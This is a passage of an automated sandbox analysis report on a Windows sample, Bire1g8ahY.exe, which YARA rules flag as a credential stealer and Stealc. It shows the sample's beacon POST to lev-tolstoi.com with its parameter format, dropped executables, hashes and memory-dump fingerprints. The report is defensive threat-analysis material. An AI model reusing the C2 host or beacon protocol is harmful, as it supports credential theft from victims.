cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1663&rtt_var=627&sent=370&recv=603&lost=0&retrans=0&sent_bytes=2835&recv_bytes=581760&delivery_rate=1739130&cwnd=252&unsent_bytes=0&cid=486c57020ac38826&ts=2502&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49751	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:37 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: lev-tolstoi.com
2024-12-23 07:44:37 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 33 46 43 44 45 39 39 43 35 44 38 43 30 33 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=3FCDE99C5D8C0386AC8923850305D13E
2024-12-23 07:44:38 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1djmfnhibcd1r8ncl5a3bcd09t; expires=Fri, 18 Apr 2025 01:31:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ilkLCyM%2FFCvZTIn9X0IF0WfhBDMVChhKW6pwapI%2F%2F9NhedzIEHU9%2Bp%2B3yX8G5rZdAX84m3om8%2BHGa7e6B8Y6QpUDVhlhQMf%2FykvT6eA5jrmlDWLAHKAnTVbORA7dSh32PQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66ba3aac8ade96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&min_rtt=1460&rtt_var=560&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=981&delivery_rate=1931216&cwnd=224&unsent_bytes=0&cid=611ede0646b5192c&ts=776&x=0"
2024-12-23 07:44:38 UTC	214	IN	Data Raw: 64 30 0d 0a 32 4d 5a 42 4d 48 61 68 45 73 7a 42 65 79 6d 65 65 72 6a 71 75 69 39 57 31 79 65 4c 5a 39 34 4c 32 5a 59 61 78 45 6e 64 4f 75 65 44 76 57 4e 46 56 4a 73 77 70 4c 55 50 57 61 51 6d 6c 37 61 56 48 6d 37 69 43 62 6c 57 36 79 58 6f 70 79 6e 71 65 4f 74 6d 79 4c 65 67 4a 32 78 5a 78 58 65 71 37 78 35 52 2b 31 69 55 79 4e 78 62 64 4f 30 58 70 30 57 37 4b 65 4f 6d 5a 2b 67 79 2f 30 2f 46 34 75 51 70 52 41 4c 52 4b 4a 44 75 4a 77 61 76 51 6f 33 45 69 42 35 6a 2b 52 61 36 56 50 41 36 37 38 6f 31 74 7a 32 34 57 34 71 45 36 54 4e 52 47 4d 56 39 6f 65 38 65 55 66 74 59 6c 4d 6a 63 57 33 54 74 46 36 64 46 75 79 6e 6a 70 6d 65 5a 0d 0a Data Ascii: d02MZBMHahEszBeymeerjqui9W1yeLZ94L2ZYaxEndOueDvWNFVJswpLUPWaQml7aVHm7iCblW6yXopynqeOtmyLegJ2xZxXeq7x5R+1iUyNxbdO0Xp0W7KeOmZ+gy/0/F4uQpRALRKJDuJwavQo3EiB5j+Ra6VPA678o1tz24W4qE6TNRGMV9oe8eUftYlMjcW3TtF6dFuynjpmeZ
2024-12-23 07:44:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:44:08
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Bire1g8ahY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Bire1g8ahY.exe"
Imagebase:	0x990000
File size:	1'907'712 bytes
MD5 hash:	3A5696DEF6E0A20DFEB8786EADFF60A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1460101126.0000000001309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:56:31
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe"
Imagebase:	0x8f0000
File size:	2'765'312 bytes
MD5 hash:	579641D4119C3977AA3E5FDCBB740D8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:56:37
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe"
Imagebase:	0xc0000
File size:	2'835'456 bytes
MD5 hash:	59729E914FA8E15D347129643C03AC1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1765472956.00000000000C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.1678261591.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 01305A8C Relevance: 3.6, Strings: 2, Instructions: 1093COMMON

Download Yara Rule

Strings

:pn, xrefs: 01305CEC
:pn, xrefs: 01305CED

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F9000, based on PE: false

Associated: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Yara matches

Similarity

API ID:
String ID: :pn$:pn
API String ID: 0-2111632267
Opcode ID: ab2474f917b71ad7af75dd695ce51a2cdcc0a18f48166dc0a3040eaf94ca7166
Instruction ID: 54c2aa33c9f0a64d65b81a9857b04576b7d31a61d91e1cb68f28d36170649915
Opcode Fuzzy Hash: ab2474f917b71ad7af75dd695ce51a2cdcc0a18f48166dc0a3040eaf94ca7166
Instruction Fuzzy Hash: F5A11EA584E7C19FD7134B7888752953FB1AE13228B1E46DBC4C1CF1F3E659484ACBA2

Function 01311942 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F9000, based on PE: false

Associated: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902c4d31fff95b210bd067fc153c54b6abe039e1ca648929f81570c8ad81217e
Instruction ID: b8ec7f68f48f129c255f1fdaccbb83a0127e4ec0a96c8cafa906e4049c0ff428
Opcode Fuzzy Hash: 902c4d31fff95b210bd067fc153c54b6abe039e1ca648929f81570c8ad81217e
Instruction Fuzzy Hash: 5BE1146184E3D19FD7178B349C656A27FB5AF13214B0E85DBE5C1CF0B7E2680909CB62

Function 01311942 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 01309000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902c4d31fff95b210bd067fc153c54b6abe039e1ca648929f81570c8ad81217e
Instruction ID: b8ec7f68f48f129c255f1fdaccbb83a0127e4ec0a96c8cafa906e4049c0ff428
Opcode Fuzzy Hash: 902c4d31fff95b210bd067fc153c54b6abe039e1ca648929f81570c8ad81217e
Instruction Fuzzy Hash: 5BE1146184E3D19FD7178B349C656A27FB5AF13214B0E85DBE5C1CF0B7E2680909CB62

Function 0131B03B Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F9000, based on PE: false

Associated: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f32ebde98f85c8c96c34dd3769fc93c089e6f3ce4fed138f89441bd9501eee60
Instruction ID: 879fd40ef832edc5fb2042c3073848c380ca59d08f6d4dd1ae86e8afb0ccd3fa
Opcode Fuzzy Hash: f32ebde98f85c8c96c34dd3769fc93c089e6f3ce4fed138f89441bd9501eee60
Instruction Fuzzy Hash: 54918B6548E3C28FD7578B7488651857FB1AE1322872B40EBC0D5CF1B7E6AD4C4AC762

Function 0131B03B Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 01309000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f32ebde98f85c8c96c34dd3769fc93c089e6f3ce4fed138f89441bd9501eee60
Instruction ID: 879fd40ef832edc5fb2042c3073848c380ca59d08f6d4dd1ae86e8afb0ccd3fa
Opcode Fuzzy Hash: f32ebde98f85c8c96c34dd3769fc93c089e6f3ce4fed138f89441bd9501eee60
Instruction Fuzzy Hash: 54918B6548E3C28FD7578B7488651857FB1AE1322872B40EBC0D5CF1B7E6AD4C4AC762

Function 0134EC7F Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Offset: 0134C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1347000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d423eabdea4c21a7e53df8974c0379f256fde7e720be7d3fd5cb0c6c4a4f61
Instruction ID: fa939daf018b8f1dab968fcc7fcd2a45e71694d5790a816fcca5d67cf0197c9e
Opcode Fuzzy Hash: 74d423eabdea4c21a7e53df8974c0379f256fde7e720be7d3fd5cb0c6c4a4f61
Instruction Fuzzy Hash: 2481486544E3D59FD3578B7888642923FB0AE13228B5B45EBD0C1CF4B3E25E4C4ACB62

Function 01311805 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F9000, based on PE: false

Associated: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c525c9f52a8f7d54893789a3d8160d78748e2e4f723b4aaabc6144b26d73fe
Instruction ID: f35e38f4347549b60b01c356e029fdeed0e858e8562073788c0015cef44241c3
Opcode Fuzzy Hash: 87c525c9f52a8f7d54893789a3d8160d78748e2e4f723b4aaabc6144b26d73fe
Instruction Fuzzy Hash: 425188A291D3D54FD71B8B3049392A1BF62AF2311870ECACFC9D68F4A7D3188509C762

Function 01311805 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 01309000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c525c9f52a8f7d54893789a3d8160d78748e2e4f723b4aaabc6144b26d73fe
Instruction ID: f35e38f4347549b60b01c356e029fdeed0e858e8562073788c0015cef44241c3
Opcode Fuzzy Hash: 87c525c9f52a8f7d54893789a3d8160d78748e2e4f723b4aaabc6144b26d73fe
Instruction Fuzzy Hash: 425188A291D3D54FD71B8B3049392A1BF62AF2311870ECACFC9D68F4A7D3188509C762

Function 01311C80 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F9000, based on PE: false

Associated: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d6253e2ddfecd18156d2505fd7c565dd7e1533dae3530f84b91e4f7c227762
Instruction ID: 233b00de0fde5740afc90811db0595d604e3c4a6dab53d15a23967bf67bbd565
Opcode Fuzzy Hash: 34d6253e2ddfecd18156d2505fd7c565dd7e1533dae3530f84b91e4f7c227762
Instruction Fuzzy Hash: A341323240E3C99FD72B9F749965192BFB0AF27214B2B48CFC1C18B4B3D6241956DB62

Function 01311C80 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 01309000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d6253e2ddfecd18156d2505fd7c565dd7e1533dae3530f84b91e4f7c227762
Instruction ID: 233b00de0fde5740afc90811db0595d604e3c4a6dab53d15a23967bf67bbd565
Opcode Fuzzy Hash: 34d6253e2ddfecd18156d2505fd7c565dd7e1533dae3530f84b91e4f7c227762
Instruction Fuzzy Hash: A341323240E3C99FD72B9F749965192BFB0AF27214B2B48CFC1C18B4B3D6241956DB62

Function 0131B0C1 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 012F9000, based on PE: false

Associated: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdedadf241fae1e7cc6ce50968cee81917b85e634dcdff4b75735136844ad927
Instruction ID: 0be0a2c9a3b48c19dc15d10a4f26ba486ba7502b8ba8d9bc96e73e25099b307f
Opcode Fuzzy Hash: bdedadf241fae1e7cc6ce50968cee81917b85e634dcdff4b75735136844ad927
Instruction Fuzzy Hash: 49417B6654E3C18FD3479B7888651957FB1AE1362836B00EBC0D1CF1B7E2694C4ACB62

Function 0131B0C1 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 01309000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f9000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdedadf241fae1e7cc6ce50968cee81917b85e634dcdff4b75735136844ad927
Instruction ID: 0be0a2c9a3b48c19dc15d10a4f26ba486ba7502b8ba8d9bc96e73e25099b307f
Opcode Fuzzy Hash: bdedadf241fae1e7cc6ce50968cee81917b85e634dcdff4b75735136844ad927
Instruction Fuzzy Hash: 49417B6654E3C18FD3479B7888651957FB1AE1362836B00EBC0D1CF1B7E2694C4ACB62

Function 0134F01B Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Offset: 0134C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1347000_Bire1g8ahY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df416d34947d9342169ded9e653957f143c3256145a5b5ddeb33dacf9c7e9fe
Instruction ID: 15fefa1283e23753f4cea7fa34ec8e34036ef40e7d931de06966a7f16acd123d
Opcode Fuzzy Hash: 5df416d34947d9342169ded9e653957f143c3256145a5b5ddeb33dacf9c7e9fe
Instruction Fuzzy Hash: 0E417DB544E3C28FD7874B7898215917FB0AE1322875F04EBC481CF4B3E25A4C4ACB62

Analysis Process: 4830TYWIJQ5SCGDL2FZPZJN92URB.exePID: 8184, Parent PID: 7312COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	29%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 00A789CE Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EC467FF7,?), ref: 00A78A22

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction ID: bf9cfa670066848a79bf8e36b956bf621949e93a459a0158b143d15ed341b5cd
Opcode Fuzzy Hash: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction Fuzzy Hash: 16F08CB305C2496FE318DF159C00EBEB3A8DA84230F76810EE84493501DA396D048B7D

Function 008FB96C Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID:
String ID:
API String ID:
